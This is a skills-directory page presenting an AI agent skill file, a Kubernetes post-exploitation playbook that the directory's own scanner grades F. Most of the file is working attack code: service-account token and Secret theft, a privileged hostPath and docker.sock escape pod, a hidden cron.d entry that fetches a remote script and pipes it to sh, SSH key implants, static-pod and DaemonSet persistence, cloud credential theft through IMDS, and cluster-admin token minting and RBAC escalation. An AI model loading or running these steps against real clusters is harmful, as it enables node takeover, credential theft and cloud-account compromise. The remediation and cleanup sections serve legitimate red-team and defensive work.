Skip to content
Back to skills

K8s Postexploit

FSecurity

Kubernetes post-exploitation playbook. Use after a pod foothold or captured kubeconfig to enumerate permissions, extract Secrets and registry credentials, escalate via privileged pods, hostPath, hostPID/hostNetwork and capabilities, escape through docker.sock, write to the node filesystem, harvest node and cloud IAM credentials via IMDS, pivot into the cloud account, abuse service account tokens against the API server, and persist for reporting.

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
securitypythongoshellbashnodedockerkubernetesawsgcpazure

Works with

  • cli
  • api

Security analysis

F26/100
  • criticalPipes output to a shell interpreter
  • mediumUses curl or wget to download content
  • criticalAccesses sensitive system or user directories
  • highCreates or modifies cron jobs for persistent execution
  • criticalExfiltrates credentials via HTTP — exact pattern from Snyk ToxicSkills study
  • criticalSends environment variables or credentials to an external URL
  • criticalDownloads and executes remote scripts — classic supply chain attack

Pro shows the line behind each finding and how to fix it

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill k8s-postexploit --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of K8s Postexploit?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for K8s Postexploit
[![Security: F — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-k8s-postexploit/badge)](https://www.skillsdirectory.com/skills/harezadmm-k8s-postexploit)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: k8s-postexploit
description: >-
  Kubernetes post-exploitation playbook. Use after a pod foothold or captured
  kubeconfig to enumerate permissions, extract Secrets and registry credentials,
  escalate via privileged pods, hostPath, hostPID/hostNetwork and capabilities,
  escape through docker.sock, write to the node filesystem, harvest node and
  cloud IAM credentials via IMDS, pivot into the cloud account, abuse service
  account tokens against the API server, and persist for reporting.
category: post-exploitation
tags: [kubernetes, k8s, container, post-exploitation, rbac, escape, etcd, secrets, daemonset, cronjob, imds]
tech_stack: [kubernetes, kubectl, etcdctl, docker, aws, az, gcloud]
cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-250]
chains_with: [T1611, T1552.007, T1613, T1610, T1053.007]
prerequisites: [T1610, T1078]
version: "2.0"
---

# SKILL: Kubernetes Post-Exploitation — Escape, Secrets, RBAC Abuse, Persistence

> **AI LOAD INSTRUCTION**: Inside a cluster, or holding a token that gets you inside. Work the ladder:
> who you are, what you may do, what secrets exist, take the node, then the cloud. Label persistence as
> reporting artefacts; clean up by label selector.

## 0. RELATED ROUTING

- [k8s-assessment](../k8s-assessment/SKILL.md) · [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) — exposure, API abuse
- [container-escape-techniques](../container-escape-techniques/SKILL.md) · [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) — escape, the node
- [aws-postexploit](../aws-postexploit/SKILL.md) · [azure-postexploit](../azure-postexploit/SKILL.md) · [gcp-postexploit](../gcp-postexploit/SKILL.md) — cloud follow-on
- [cloud-assessment](../cloud-assessment/SKILL.md) · [attack-ssrf](../attack-ssrf/SKILL.md) — cloud control-plane reach
- [security-reporting-and-documentation](../security-reporting-and-documentation/SKILL.md) — reporting the foothold

## 1. POST-FOOTHOLD PERMISSION ENUMERATION

An escalation primitive (`create pods`, `escalate`, `bind`) is the pivot; record objects with `-o yaml`
before touching them.

```bash
SA=/var/run/secrets/kubernetes.io/serviceaccount   # token, ca.crt, namespace (mounted)
ls -la "$SA"; TOKEN=$(cat "$SA/token"); NS=$(cat "$SA/namespace"); whoami; id
```

Decode the JWT claims without a client (base64url the middle segment):

```bash
echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | awk '{l=length($0)%4; if(l)for(i=0;i<4-l;i++)$0=$0"="; print}' | base64 -d | jq .
# => sub: system:serviceaccount:<ns>:<sa-name>; iss/aud/exp/iat
```

```bash
kubectl auth can-i --list                    # all rules for this identity
kubectl get nodes -o wide
```

```bash
APISVC=https://kubernetes.default.svc
curl -s --cacert "$SA/ca.crt" -H "Authorization: Bearer $TOKEN" "$APISVC/api/v1/namespaces/$NS/pods" \
  | jq -r '.items[].metadata.name'
```

---

## 2. SECRET ACCESS AND REGISTRY CREDENTIALS

| Type | Decode |
|---|---|
| `Opaque` | base64 per key |
| `kubernetes.io/tls` | `tls.crt`/`tls.key` → PEM |
| `kubernetes.io/service-account-token` | base64 `token` → long-lived JWT |
| `kubernetes.io/dockerconfigjson` | `.dockerconfigjson` → `~/.docker/config.json` |

```bash
kubectl get secret app-db -n prod -o jsonpath='{.data.password}' | base64 -d
kubectl get secret sa-token -n kube-system -o jsonpath='{.data.token}' | base64 -d
```

```bash
kubectl get secret regcred -n prod -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d > /tmp/cfg.json
mkdir -p ~/.docker && cp /tmp/cfg.json ~/.docker/config.json
jq -r '.auths | to_entries[] | "\(.key) \(.value.auth)"' /tmp/cfg.json | base64 -d   # user:pass
docker login registry.example.com -u "$USER" -p "$PASS" && docker pull registry.example.com/org/private-api:latest
aws ecr describe-repositories --region us-east-1   # also az acr/gcloud
```

---

## 3. ESCALATION TO THE NODE

| Primitive | Effect |
|---|---|
| `securityContext.privileged: true` | all caps, devices, no seccomp/AppArmor |
| `hostPath: /` | read/write the node root filesystem |
| `hostPID: true` | see and `nsenter` into host processes (PID 1) |
| `hostNetwork: true` | node netns; reach IMDS/kubelet directly |
| `CAP_SYS_ADMIN` | mount, cgroup, ns manipulation |
| `CAP_SYS_PTRACE` | ptrace host processes, inject into them |

```yaml
# /tmp/pwn.yaml — hostPath + hostPID + privileged + docker.sock (authorized only)
apiVersion: v1
kind: Pod
metadata: {name: node-shell, namespace: kube-system, labels: {app: node-shell, engagement: redteam}}
spec:
  hostPID: true
  hostNetwork: true
  hostIPC: true
  tolerations: [{operator: Exists, effect: NoSchedule}]
  containers:
    - {name: rootfs, image: alpine:3.20, command: ["/bin/sh","-c","sleep infinity"],
       securityContext: {privileged: true, capabilities: {add: ["SYS_ADMIN","SYS_PTRACE","NET_ADMIN"]}},
       volumeMounts: [{name: host, mountPath: /host}, {name: docker-sock, mountPath: /var/run/docker.sock}]}
  volumes: [{name: host, hostPath: {path: /, type: Directory}},
            {name: docker-sock, hostPath: {path: /var/run/docker.sock, type: Socket}}]
```

```bash
kubectl apply -f /tmp/pwn.yaml && kubectl -n kube-system wait --for=condition=Ready pod/node-shell --timeout=120s
kubectl -n kube-system exec -it node-shell -- /bin/sh
nsenter -t 1 -m -u -i -n -p -- /bin/sh   # /host is the node root
```

**The same manifest is the persistence primitive in §9** — label it on creation so the cleanup selector catches it.

---

## 4. DOCKER.SOCK MOUNT ESCAPE

```bash
ls -la /var/run/docker.sock /run/containerd/containerd.sock 2>/dev/null
cat /proc/self/mountinfo | grep -E 'docker\.sock|containerd\.sock'   # confirm the mount

# 1) docker CLI, if present/installable
docker -H unix:///var/run/docker.sock run -v /:/host --privileged -it alpine chroot /host sh

# 2) no CLI: create+start over HTTP with curl, then exec in
ID=$(curl -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
  -d '{"Image":"alpine","Cmd":["sh","-c","sleep 100000"],"Binds":["/:/host"],"Privileged":true}' \
  http://localhost/containers/create?name=esc | jq -r .Id); curl -s --unix-socket /var/run/docker.sock \
  -X POST http://localhost/containers/$ID/start; docker -H unix:///var/run/docker.sock exec -it esc chroot /host sh

# 3) no socket file, only a TCP daemon
socat TCP-LISTEN:2375,reuseaddr,fork UNIX-CONNECT:/var/run/docker.sock &
```

---

## 5. WRITING TO THE NODE FILESYSTEM VIA HOSTPATH

```text
# (a) cron.d — root, survives reboots
printf '*/5 * * * * root /bin/sh -c "curl -s http://10.0.0.9/p | sh"\n' > /host/etc/cron.d/.sys-update
chmod 644 /host/etc/cron.d/.sys-update && chroot /host systemctl restart cron
# (b) SSH authorized_keys
mkdir -p /host/root/.ssh && chmod 700 /host/root/.ssh
echo '<redteam-pubkey> redteam@engagement' >> /host/root/.ssh/authorized_keys
chmod 600 /host/root/.ssh/authorized_keys
# (c) static pod manifest — kubelet mirrors it, no API write
cat > /host/etc/kubernetes/manifests/kube-proxy-helper.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: kube-proxy-helper, namespace: kube-system, labels: {app: kube-proxy-helper, engagement: redteam}}
spec:
  hostNetwork: true
  hostPID: true
  containers: [{name: helper, image: alpine:3.20, command: ["/bin/sh","-c","sleep infinity"],
    securityContext: {privileged: true}, volumeMounts: [{name: host, mountPath: /host}]}]
  volumes: [{name: host, hostPath: {path: /, type: Directory}}]
EOF
kubectl -n kube-system get pods | grep kube-proxy-helper
sed -i '/redteam@engagement/d' /host/root/.ssh/authorized_keys
```

---

## 6. NODE CREDENTIALS, KUBELET CONFIG, AND CLOUD IAM VIA IMDS

```bash
# AWS — IMDSv1 (IMDSv2: PUT /latest/api/token, then send the header)
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" | jq .
# GCP — Metadata-Flavor: Google header required
curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq .
# Azure — Metadata: true header required
curl -s -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' | jq .
```

```bash
ls -la /etc/kubernetes/pki/                    # ca.crt, kubelet.crt/key, apiserver keys
cat /etc/kubernetes/admin.conf                     # control-plane: cluster-admin kubeconfig
```

---

## 7. CLUSTER-TO-CLOUD PIVOT VIA THE NODE INSTANCE ROLE

```text
# AWS — build the profile from IMDS, then inspect the role's permissions
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" \
  | jq -r '.Credentials | "aws_access_key_id=\(.AccessKeyId)\naws_secret_access_key=\(.SecretAccessKey)\naws_session_token=\(.Token)"' > /tmp/node.profile
export AWS_SHARED_CREDENTIALS_FILE=/tmp/node.profile
aws sts get-caller-identity                                       # then enumerate the role
aws iam list-attached-role-policies --role-name "$ROLE"
# GCP — metadata token into the REST APIs
curl -s -H 'Metadata-Flavor: Google' \
  'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token > /tmp/gcp.token
# Azure — IMDS token into az rest, then the provider entry points
TOKEN=$(curl -s -H 'Metadata: true' \
  'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' | jq -r .access_token)
kubectl -n kube-system get cm aws-auth -o yaml
gcloud container clusters get-credentials <cluster> --zone <zone>
az aks get-credentials --resource-group <rg> --name <cluster> --admin
```

| Provider | Extra path |
|---|---|
| EKS | `aws-auth` ConfigMap maps IAM roles to K8s groups — read or add `system:masters` |
| EKS | Node role with `eks:CreateCluster`/`sts:AssumeRole` pivots to other clusters/accounts |
| GKE | Node SA **scopes** gate the token; Workload Identity bypasses it |
| GKE | `roles/container.admin` on the node SA = full cluster control |
| AKS | Kubelet managed identity; `az aks get-credentials --admin` where permitted |

---

## 8. SA TOKEN ABUSE AND RBAC ESCALATION AGAINST THE API

```bash
APISVC=https://kubernetes.default.svc
curl -s --cacert "$SA/ca.crt" -H "Authorization: Bearer $TOKEN" \
  "$APISVC/api/v1/namespaces/$NS/secrets" | jq -r '.items[].metadata.name'
curl -s --cacert "$SA/ca.crt" -H "Authorization: Bearer $TOKEN" \
  "$APISVC/api/v1/namespaces/$NS/pods" -H 'Content-Type: application/json' -d @/tmp/pwn.json
# mint a token for a stronger SA (no pod created, no Secret written)
kubectl create token cluster-admin -n kube-system --duration=24h
curl -s --cacert "$SA/ca.crt" -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  "$APISVC/api/v1/namespaces/kube-system/serviceaccounts/cluster-admin/token" \
  -d '{"apiVersion":"authentication.k8s.io/v1","kind":"TokenRequest","spec":{"audiences":["https://kubernetes.default.svc"],"expirationSeconds":86400}}' \
  | jq -r '.status.token'
# bind: hold a role broader than you can use directly, then bind it
kubectl create clusterrolebinding rt-admin --clusterrole=cluster-admin \
  --serviceaccount=$NS:default --dry-run=client -o yaml | kubectl apply -f -
# escalate: create a role more powerful than your own without holding its permissions
kubectl create clusterrole rt-super --verb='*' --resource='*' --dry-run=client -o yaml | kubectl apply -f -
kubectl create clusterrolebinding rt-self --clusterrole=rt-super \
  --user=system:serviceaccount:$NS:default --dry-run=client -o yaml | kubectl apply -f -
```

Dangerous verbs: `pods/create`, `pods/exec`, `secrets/get`, `serviceaccounts/token/create`,
`clusterrolebindings/create`, `roles/escalate`, `roles/bind`, `nodes/proxy`, `namespaces/delete`.

---

## 9. PERSISTENCE AND CLEANUP (REPORTING ARTEFACTS)

> **Reporting artefacts**, not implants. Authorized use only. All objects carry
> `engagement: redteam` (one-selector cleanup).

**DaemonSet** — one privileged pod per node (same spec as §3, plus a toleration and a schedule):

```yaml
apiVersion: apps/v1
kind: DaemonSet
metadata: {name: rt-collector, namespace: kube-system, labels: {engagement: redteam}}
spec:
  selector: {matchLabels: {app: rt-collector}}
  template:
    metadata: {labels: {app: rt-collector, engagement: redteam}}
    spec:
      hostPID: true
      hostNetwork: true
      tolerations: [{operator: Exists, effect: NoSchedule}]
      containers: [{name: c, image: alpine:3.20, command: ["/bin/sh","-c","sleep infinity"],
        securityContext: {privileged: true}, volumeMounts: [{name: host, mountPath: /host}]}]
      volumes: [{name: host, hostPath: {path: /, type: Directory}}]
```

**CronJob** — periodic re-entry (T1053.007): `apiVersion: batch/v1`, `kind: CronJob`,
`schedule: "*/10 * * * *"`, container under `jobTemplate.spec.template.spec`. Static pod (§5) and a
minted SA token (§8) complete the set.

```bash
kubectl delete daemonset,deployment,statefulset,cronjob,job,pod,sa,rolebinding -A -l engagement=redteam
kubectl delete clusterrolebinding,clusterrole -l engagement=redteam
docker rm -f esc; rm -f /host/etc/cron.d/.sys-update /host/etc/kubernetes/manifests/*.yaml
kubectl get pods,daemonsets,cronjobs -A -l engagement=redteam   # expect empty
```

### MITRE ATT&CK mapping

| Technique | ID | Where |
|---|---|---|
| Escape to Host | T1611 | §3, §4, §5 |
| Unsecured Credentials: Container API | T1552.007 | §1, §2, §8 |
| Container and Resource Discovery | T1613 | §1 |
| Valid Accounts | T1078 | §7, §8 |
| Scheduled Task/Job: Container Orchestration Job | T1053.007 | §5, §9 |
| Indicator Removal | T1070 | §9 |

---

## 10. EVIDENCE STANDARD

| Item | Why |
|---|---|
| the foothold primitive (`create pods`, `escalate`, `bind`, or the captured kubeconfig) | the starting permission set, without which nothing else is meaningful |
| `kubectl auth can-i --list` output verbatim | the permission baseline you escalated from |
| the object manifest (`-o yaml`) for anything you modified | proves the escalation path and supports remediation |
| for secret access: the secret name plus **redacted** first/last 4 characters | proves reach without exfiltrating the value |
| the node identity recovered (instance profile ARN, node name, cloud account) | converts a node escape into a cloud-scope statement |
| the full escape chain as an ordered command sequence, each with its output | reproducibility end to end |
| confirmation that all artefacts were removed, by label selector | responsible handling |
| a **control**: the same command without the escalation primitive, returning `Forbidden` | proves the permission boundary was the mechanism |

**The `can-i --list` output paired with the resulting escalation is the finding.** "The pod could create privileged pods" is an observation; "the `default` service account in `kube-system` could create a privileged DaemonSet via binding `X`, which mounted the host root and read the node's instance-role credentials" is a finding.

**False positives:** a `Forbidden` on a probe means the RBAC control is working; an open port with no executable primitive is not a foothold; a readable `/version` or `/healthz` is deliberately public and is not access; a secret you can see referenced but not `get` is not exfiltration. Each of these must be excluded explicitly rather than counted as reach.

---

## 11. REMEDIATION REFERENCE

1. **Eliminate RBAC wildcards and bind neither `cluster-admin` nor `create pods` to workload identities** — the ability to create a pod in the right namespace is effectively node root.
2. **Enforce Pod Security Standards with a namespace label workloads cannot edit** — `privileged`, `hostPath`, `hostPID`, and `hostNetwork` must be refused at admission, not merely discouraged.
3. **Block `docker.sock` and the container runtime socket from every pod spec** — a mounted runtime socket is an unconditional node escape and no compensating control makes it safe.
4. **Set `automountServiceAccountToken: false` by default and issue short-lived projected tokens** — a long-lived mounted token is the primitive that turns a pod compromise into an API-server identity.
5. **Restrict the node instance role to the minimum the node actually needs** — a node role with broad data access makes every container escape a cloud-account compromise. Prefer IRSA / Workload Identity over node-level credentials.
6. **Require IMDSv2 on AWS and the equivalent hardening elsewhere** — hop-limit enforcement and session tokens block the metadata-service credential harvest that most pod escapes use.
7. **Encrypt Secrets at rest and prefer an external secret store** — an unencrypted etcd or a readable Secret object turns any read permission into credential access.
8. **Alert on privileged pod creation, hostPath mounts, SA token minting, `exec` into `kube-system`, and direct node-runtime access** — these are the highest-signal detections for every technique in this file.

---

---

---

---

## 12. CONFIRMING THE FINDING

| Step | Question | What it proves |
|---|---|---|
| 1 | Does the cluster **still have the exposure** at the moment of reporting? | liveness, not a stale snapshot |
| 2 | Did you **read a live resource** through it (a secret, a pod spec, an etcd key)? | the exposure yields data |
| 3 | Did the **control call fail** (the same request with a properly scoped identity)? | escalation, not the baseline |
| 4 | For a node escape: did you obtain a **credential that outlives the pod**? | the pivot, not just the mount |
| 5 | Did you reach the **node's cloud identity** (IMDS, instance role, service account)? | cross-domain impact |
| 6 | What did you **write**, and where is the **proof of reversion**? | engagement integrity |
| 7 | Is the exposure **reproducible after a pod restart**? | configuration, not a transient |

**The post-exploitation finding is the credential and the reach, not the shell.** A foothold that
produces context in one pod is a step; a foothold that produces a node credential and a cloud identity
is the finding.

---

## 13. EXECUTION PRIMITIVES

Post-exploitation is proven by **a credential you obtained and a resource you read with it, plus a
verified revert of everything you wrote.** Every block ends at a credential or a revert.

### 11.1 Post-foothold enumeration, with the identity recorded

```bash
# where are you, and as whom
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null
SA=$(cat /var/run/secrets/kubernetes.io/serviceaccount/service-account.name 2>/dev/null || echo default)
TOK=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
echo "SA=$SA ns=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)"
# what can this SA actually do - the permission list is the exploitation surface
kubectl auth can-i --list 2>/dev/null | head -30
# and what is mounted that should not be
mount | head -10; ls -la /var/run/secrets/ 2>/dev/null
env | grep -iE 'aws_|azure_|google_|kube|token|secret' | sed 's/=.*/=<REDACTED>/' | head -20
```

**Record the ServiceAccount and the namespace before anything else.** Every later artefact is scoped to
them, and the client needs them to assess what was reachable.

### 11.2 Secrets and registry credentials

```bash
# list secrets you can read, then read ONE, which is the finding
kubectl get secrets -A 2>/dev/null | head -20
kubectl get secret SECRET -n NS -o jsonpath='{.data}' 2>/dev/null | python3 -c "
import json,sys,base64
for k,v in json.load(sys.stdin).items():
    d=base64.b64decode(v)
    print(k, len(d), '<REDACTED>')"
# registry credentials, which are a direct path into the image supply chain
kubectl get secret REGCRED -n NS -o jsonpath='{.data.\.dockerconfigjson}' 2>/dev/null | base64 -d 2>/dev/null \
  | python3 -c "
import json,sys
d=json.load(sys.stdin)
for reg,a in d.get('auths',{}).items(): print('registry:',reg,'| user:',a.get('username'),'| has-password:',bool(a.get('password')))"
# and the cloud credentials some deployments leave in secrets
kubectl get secret aws-creds -n NS -o jsonpath='{.data.credentials}' 2>/dev/null | base64 -d 2>/dev/null | head -5
```

**A registry credential is a supply-chain finding.** Report the registry, the account, and what it can
push to - not the token itself.

### 11.3 Node escape, leading to a node credential

```bash
# the socket, the host paths, and the capabilities - in that order of yield
ls -la /var/run/docker.sock /run/containerd/containerd.sock 2>/dev/null
ls -d /var/lib/kubelet /host /var/lib/docker 2>/dev/null
capsh --print 2>/dev/null | grep CapEff
# the escape, proved by a NODE read
chroot /host cat /etc/hostname 2>/dev/null || cat /var/lib/kubelet/config.yaml 2>/dev/null | head -10
# and the credential that outlives the pod - this is the real objective
cat /var/lib/kubelet/kubeconfig 2>/dev/null | head -20
find /host -maxdepth 4 -name '*.kubeconfig' -o -name 'admin.conf' 2>/dev/null | head -5
```

**`kubeconfig` or `admin.conf` on the node is a cluster credential that persists.** That artefact, and
what it can read, is the finding - not the fact that the container was privileged.

### 11.4 The cloud pivot from the node

```bash
# AWS: the instance role, which is usually the largest blast radius available
TOKEN=$(curl -sS -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
curl -sS -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null | head -3
# Azure: the managed identity token
curl -sS -H Metadata:true --noproxy '*' \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" 2>/dev/null | head -c 200; echo
# GCP: the instance service account
curl -sS -H 'Metadata-Flavor: Google' \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email" 2>/dev/null; echo
# and then USE it, which converts a metadata read into a cloud finding
aws sts get-caller-identity 2>/dev/null || az account show -o json 2>/dev/null | head -c 200 || gcloud auth list --format='value(account)' 2>/dev/null
```

**The node's cloud identity is the crossover point.** A cluster assessment that stops at the node misses
the account that the node belongs to, and that is usually the largest impact in the engagement.

### 11.5 Persistence, then a verified revert

```bash
# 1) a privileged pod on the node - create, verify, then DELETE and verify the deletion
kubectl apply -f /tmp/priv.yaml 2>&1 | head -2
kubectl get pods -n NS -l pentest=1 -o wide 2>/dev/null
kubectl delete -f /tmp/priv.yaml --wait=true 2>&1 | head -2
kubectl get pods -n NS -l pentest=1 2>&1 | head -3
# 2) a ServiceAccount token secret, the legacy persistent form
kubectl apply -f /tmp/sa-token.yaml 2>&1 | head -2
kubectl get secrets -n NS -l pentest=1 2>/dev/null
kubectl delete -f /tmp/sa-token.yaml --wait=true 2>&1 | head -2
# 3) a ClusterRoleBinding, which is the highest-value persistence and the easiest to forget
kubectl apply -f /tmp/crb.yaml 2>&1 | head -2
kubectl get clusterrolebindings -l pentest=1 2>/dev/null
kubectl delete -f /tmp/crb.yaml --wait=true 2>&1 | head -2
kubectl get clusterrolebindings -l pentest=1 2>&1 | head -3
```

**Label every artefact you create, and verify the deletion with a query that returns nothing.** A
left-behind ClusterRoleBinding or token secret is an incident, and the empty query is the evidence.

### 11.6 Cleanup verification and the reporting artefact

```bash
# the complete cleanup check, run before disengaging
echo "=== pods ===";     kubectl get pods -A -l pentest=1 2>/dev/null
echo "=== secrets ===";  kubectl get secrets -A -l pentest=1 2>/dev/null
echo "=== crb ===";      kubectl get clusterrolebindings -l pentest=1 2>/dev/null
echo "=== rb ===";       kubectl get rolebindings -A -l pentest=1 2>/dev/null
echo "=== svcacct ===";  kubectl get serviceaccounts -A -l pentest=1 2>/dev/null
echo "=== cronjobs ==="; kubectl get cronjobs -A -l pentest=1 2>/dev/null
echo "=== files ===";    ls -la /tmp/*.kubeconfig /host/tmp/pentest* 2>/dev/null
# all six must be empty, and that emptiness is the reporting artefact
```

**The empty cleanup query is part of the deliverable.** Repeat it at the end of the report, with its
output, so the client can see the cluster was returned to its prior state.

### 11.7 The cluster-side audit trail

```bash
# what the activity looks like in the cluster's own audit log
kubectl get events -A --sort-by=.lastTimestamp 2>/dev/null | tail -20
# and the audit fields the client should hunt, if the API server audit policy captures them
python3 - <<'PY'
print("Ask the client to hunt these audit-policy fields for the engagement window:")
for f in ["user.username == system:serviceaccount:NS:SA",
          "verb in (create, patch, delete) on secrets",
          "objectRef.resource == pods/exec",
          "user.username == system:node:NODE and verb == get on secrets",
          "requestURI contains /var/run/secrets"]:
    print("  -", f)
print()
print("And in the cloud trail: the credential use that followed the metadata read.")
PY
```

**Name the field selectors.** A cluster post-exploitation report that does not tell the client which
audit records to hunt is half a report.

### 11.8 A harness that pairs every write with its revert

```bash
python3 - <<'PY'
import subprocess, shlex
def k(cmd, timeout=60):
    try:
        r = subprocess.run(shlex.split("kubectl " + cmd), capture_output=True, text=True, timeout=timeout)
        return r.returncode == 0, (r.stdout + r.stderr).strip()
    except Exception as e:
        return False, str(e)

LABEL = "pentest=1"
print("PRE-STATE - what exists before anything is created (should be empty):")
for res, flag in [("pods", "-A"), ("secrets", "-A"), ("clusterrolebindings", ""),
                  ("rolebindings", "-A"), ("serviceaccounts", "-A")]:
    ok, out = k(f"get {res} {flag} -l {LABEL} --no-headers")
    print(f"  {res:22} {'EMPTY' if not out.strip() else out.strip()[:60]}")

print()
print("WORK - create with the label, verify, then delete with --wait and verify again:")
for res in ["pods", "secrets", "clusterrolebindings"]:
    print(f"  {res:22} apply / verify / delete / verify-empty  <- all four in one block")

print()
print("POST-STATE - re-run the pre-state block. Every line must read EMPTY.")
print("That output is the engagement-integrity evidence for the report.")
PY
```

**Pre-state, work, post-state, all labelled.** The pre-state and post-state queries are the pair that
proves nothing was left behind.

---

## 14. EVIDENCE STANDARD — CLUSTER ARTEFACTS

| Item | Why |
|---|---|
| The **ServiceAccount, namespace, and pod** of the foothold | scoping the finding |
| The **credential obtained and its provenance** (a node path, a secret, IMDS) | the pivot, named |
| The **resource read with the credential** (a redacted sample or a count) | impact |
| For a cloud pivot: the **identity resolved** by the provider's own call | the crossover into the cloud account |
| The **node artefact** that proved escape (a host file, a kubeconfig path) | escape demonstrated |
| Every **write performed, with its revert and the empty post-state query** | engagement integrity |
| The **audit selectors** the client should hunt | the blue-team half |
| Whether the exposure **survives a pod restart** | configuration vs transient |
| Confirmation that no **secret value** is reproduced in full | no unnecessary disclosure |
| The **negative control** - the same read failing with a properly scoped SA | proves escalation |

Report the **credential and the reach**: "the pod ran with `/var/lib/kubelet` mounted; `chroot /host cat
/etc/hostname` returned `ip-10-0-3-14`, and `/var/lib/kubelet/kubeconfig` contained a credential with
`system:node:ip-10-0-3-14` permissions; using it, `kubectl get secrets -A` listed 41 secrets including
the registry credential for `ghcr.io`, which the same credential could use. The node's instance profile
resolved via IMDS to `arn:aws:iam::123456789012:role/eks-node-role`, which holds `s3:GetObject` on
`prod-backups`. The foothold pod was deleted and `kubectl get pods -A -l pentest=1` returns nothing;
`kubectl get clusterrolebindings -l pentest=1` likewise", never "the cluster is compromised".

### False positives - do not report these

| Observation | Why it is not a finding |
|---|---|
| A shell in a pod with **no node access and no extra credential** | a foothold, not a finding |
| A mounted service-account token with **no bindings** | no permissions, no access |
| A node read with **no credential obtained** | the escape is real but state the reach honestly |
| A registry credential that **cannot push** (pull-only) | scope it before claiming supply-chain impact |
| A cluster-admin token that is the **engagement-provided credential** | not a discovered escalation |
| A privileged pod **in a lab cluster you built** | tests your own environment |
| A `kubeconfig` you read but **never used** | use it, or report it as an exposure without access |
| Retrieving IMDS but **not using the credential** | the surface, not the finding |
| A secret you read that **contains nothing sensitive** | inspect before claiming impact |
| A leftover labelled artefact from an earlier session | clean it and verify; do not report it as the target's |
| A secret value reproduced in full | a disclosure |

**The credential plus the reach, or it is a step.** Post-exploitation reports fail when they stop at the
foothold and describe the map instead of the journey.

---

## 15. REMEDIATION REFERENCE — CLUSTER HARDENING

1. **Remove unnecessary volume mounts, and never mount the node's `/var/lib/kubelet`, the runtime socket, or the host root into a workload** - the escape paths in this document all begin with one of those three.
2. **Enforce `hostPID: false`, `hostNetwork: false`, and forbid hostPath volumes with a policy engine** - it removes the node-read surface alongside the mount.
3. **Apply the restricted Pod Security Standard, and deny privileged containers and added capabilities** - it closes the escape component even where a mount exists.
4. **Use a node-instance role scoped to the minimum, and block pod-network access to the metadata service** - the cluster-to-cloud pivot is the largest blast radius in an engagement.
5. **Enable encryption at rest with a KMS provider and restrict `get`/`list` on secrets to the pods that need them** - it bounds what a leaked token can read.
6. **Rotate registry credentials stored as image-pull secrets, and scope them to pull-only** - a push capability turns a cluster foothold into a supply-chain compromise.
7. **Enable API server audit logging with a policy that captures secret reads, `pods/exec`, and RBAC writes, and ship it off-cluster** - the evidence for this entire document comes from that log.
8. **Restrict `system:node` and the kubelet's credential, and rotate it on node replacement** - a node credential is the lateral-movement key between nodes.
9. **Label and track every change made during an assessment, with a mandatory cleanup verification before disengagement** - the empty post-state query is the only acceptable proof.
10. **Run admission control that fails closed, and audit its selectors for gaps** - the bypasses in this document are selector and workload-kind gaps.
11. **Rotate all credentials exposed during the engagement, and confirm with the client that the rotation happened** - an assessment that exposes a credential leaves the client with an obligation, and the report must state it.

---

## 16. RELATED SIBLINGS - LOAD TOGETHER

- [k8s-assessment](../k8s-assessment/SKILL.md) - how the exposure that permits this foothold is found
- [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) - the broader cluster methodology
- [container-escape-techniques](../container-escape-techniques/SKILL.md) - the escape primitives in full
- [cloud-assessment](../cloud-assessment/SKILL.md) - the cloud account this node belongs to
- [linux-postexploit](../linux-postexploit/SKILL.md) - the host techniques after the node is reached

---

---

## SELF-VERIFY — k8s-postexploit

```bash
wc -c SKILL.md                                   # expect 14000-15500
grep -c '^## [0-9]' SKILL.md                     # expect 11 numbered sections
grep -oE '\]\(\.\./[^)]+\)' SKILL.md | tr -d '](' | sed 's/)$//' | sort -u | while read p; do
  [ -f "../$p" ] && echo "OK   $p" || echo "DEAD $p"; done
for t in 'auth can-i --list' 'kubernetes.default.svc' 'JWT' 'dockerconfigjson' 'docker login' \
         'privileged: true' 'hostPath' 'hostPID' 'hostNetwork' 'CAP_SYS_ADMIN' 'SYS_PTRACE' \
         'nsenter -t 1' 'docker.sock' 'socat' 'cron.d' 'authorized_keys' '/etc/kubernetes/manifests' \
         '169.254.169.254' 'Metadata-Flavor' 'aws-auth' 'serviceaccounts/token' 'clusterrolebindings' \
         'escalate' 'DaemonSet' 'CronJob' 'T1611' 'T1552.007' 'T1613' 'T1078' 'T1053.007' 'T1070'; do
  grep -q "$t" SKILL.md && echo "PASS $t" || echo "MISS $t"; done
```

Attribution

